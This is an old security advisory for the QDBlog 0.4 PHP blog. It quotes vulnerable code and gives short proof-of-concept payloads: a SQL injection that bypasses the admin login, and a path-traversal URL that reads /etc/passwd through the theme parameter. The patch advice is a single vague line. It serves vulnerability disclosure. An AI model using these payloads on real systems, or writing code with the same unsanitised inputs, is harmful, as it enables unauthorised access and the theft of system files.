QDBlog 0.4 (SQL Injection/LFI) Multiple Remote Vulnerabilities

                                                  .      .        .  
._ | _.  .|_  _. _.;_/
[_)|(_]\\_|[ )(_](_.| .net
|      ._|            
\"QDBlog v0.4 - MULTIPLE VULNERABILITIES\"
	by Omni

1) Infos
---------
Date            : 2007-04-12
Product         : QDBlog
Version         : v0.4 - Prior version maybe also be affected
Vendor          : http://sourceforge.net/projects/qdblog/
Vendor Status   : 2007-04-12 -> Not Informed!

Description     : QDBlog is an open-source, simple, minimalistic blogging solution. It makes use of PHP and MySQL. It is
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tiny&nbsp;(goal&nbsp;size&nbsp;is&nbsp;<50kb),&nbsp;and&nbsp;flexible.&nbsp;It&nbsp;designed&nbsp;to&nbsp;be&nbsp;based&nbsp;around&nbsp;choice.&nbsp;However&nbsp;it&nbsp;is
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;more&nbsp;targeted&nbsp;toward&nbsp;the&nbsp;adept&nbsp;user/web&nbsp;master.

Source&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;omnipresent&nbsp;-&nbsp;omni
E-mail&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;omnipresent[at]email[dot]it&nbsp;-&nbsp;omni[at]playhack[dot]net
Team&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Playhack.net&nbsp;Security

2)&nbsp;Security&nbsp;Issues
-------------------

---&nbsp;[&nbsp;SQL&nbsp;Injection&nbsp;-&nbsp;Admin&nbsp;Access&nbsp;Bypass&nbsp;]&nbsp;---
===============================================

[&nbsp;authenticate.php&nbsp;Script&nbsp;-&nbsp;Line&nbsp;7&nbsp;-&nbsp;9&nbsp;]

$sql&nbsp;=&nbsp;\"SELECT&nbsp;permissions,&nbsp;username&nbsp;FROM&nbsp;$prefix\".\"auth&nbsp;WHERE&nbsp;username&nbsp;=&nbsp;\'\"&nbsp;.&nbsp;$_POST[\'username\']&nbsp;.&nbsp;\"\'&nbsp;AND&nbsp;password&nbsp;=
MD5(\'\".$_POST[\'wordpass\'].\"\');\";

	$query&nbsp;=&nbsp;mysql_query($sql,&nbsp;$conn);

[&nbsp;end&nbsp;script&nbsp;aithenticate.php&nbsp;]

As&nbsp;we&nbsp;can&nbsp;see&nbsp;the&nbsp;variables&nbsp;passed&nbsp;with&nbsp;POST&nbsp;method&nbsp;from&nbsp;login.php&nbsp;to&nbsp;authenticate.php&nbsp;(username&nbsp;and&nbsp;password)&nbsp;are&nbsp;not
properly&nbsp;sanitized&nbsp;before&nbsp;being&nbsp;used,&nbsp;so&nbsp;an&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;SQL&nbsp;code&nbsp;and&nbsp;gain&nbsp;access&nbsp;to&nbsp;the&nbsp;administration&nbsp;pannel.

---&nbsp;[&nbsp;PoC&nbsp;]&nbsp;---
===============

Put&nbsp;in&nbsp;the&nbsp;username&nbsp;field&nbsp;(in&nbsp;login.php)&nbsp;a&nbsp;code&nbsp;like&nbsp;1\'&nbsp;OR&nbsp;\'1\'&nbsp;=&nbsp;\'1\'&nbsp;#&nbsp;and&nbsp;in&nbsp;the&nbsp;password&nbsp;filed&nbsp;what&nbsp;you&nbsp;want.
Click..&nbsp;login&nbsp;and..&nbsp;have&nbsp;fun&nbsp;:D&nbsp;&nbsp;

---&nbsp;[&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;]&nbsp;---
================================

There&nbsp;are&nbsp;some&nbsp;security&nbsp;problem,&nbsp;concerning&nbsp;Local&nbsp;File&nbsp;Inclusion,&nbsp;in&nbsp;lots&nbsp;of&nbsp;files&nbsp;of&nbsp;this&nbsp;PHP&nbsp;Blog;&nbsp;for&nbsp;example&nbsp;in
index.php&nbsp;as&nbsp;shown&nbsp;below:

[&nbsp;categories.php&nbsp;script&nbsp;-&nbsp;Line&nbsp;2&nbsp;]

include(\"themes/$theme/cat_top.php\");

[&nbsp;end&nbsp;index.php&nbsp;script&nbsp;]

$theme&nbsp;is&nbsp;not&nbsp;properly&nbsp;sanitized&nbsp;before&nbsp;being&nbsp;used&nbsp;so&nbsp;an&nbsp;attacker&nbsp;can&nbsp;include&nbsp;other&nbsp;files&nbsp;for&nbsp;eg&nbsp;/etc/passwd.

---&nbsp;[&nbsp;PoC&nbsp;]&nbsp;---
===============

http://remote_host/qdblog/categories.php?theme=../../../../../../../etc/passwd%00


Take&nbsp;again&nbsp;a&nbsp;look&nbsp;to&nbsp;categories.php:
&nbsp;&nbsp;
in&nbsp;this&nbsp;file&nbsp;there&nbsp;is&nbsp;\"an&nbsp;other&nbsp;vulnerability\",&nbsp;File&nbsp;Traversal:
&nbsp;
&nbsp;&nbsp;&nbsp;Line&nbsp;3&nbsp;:&nbsp;$file1&nbsp;=&nbsp;fopen(\"themes/$theme/cat_mid.html\",&nbsp;\"r\");



----&nbsp;[&nbsp;Patch&nbsp;]&nbsp;----

Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;the&nbsp;input&nbsp;is&nbsp;validated.

&nbsp;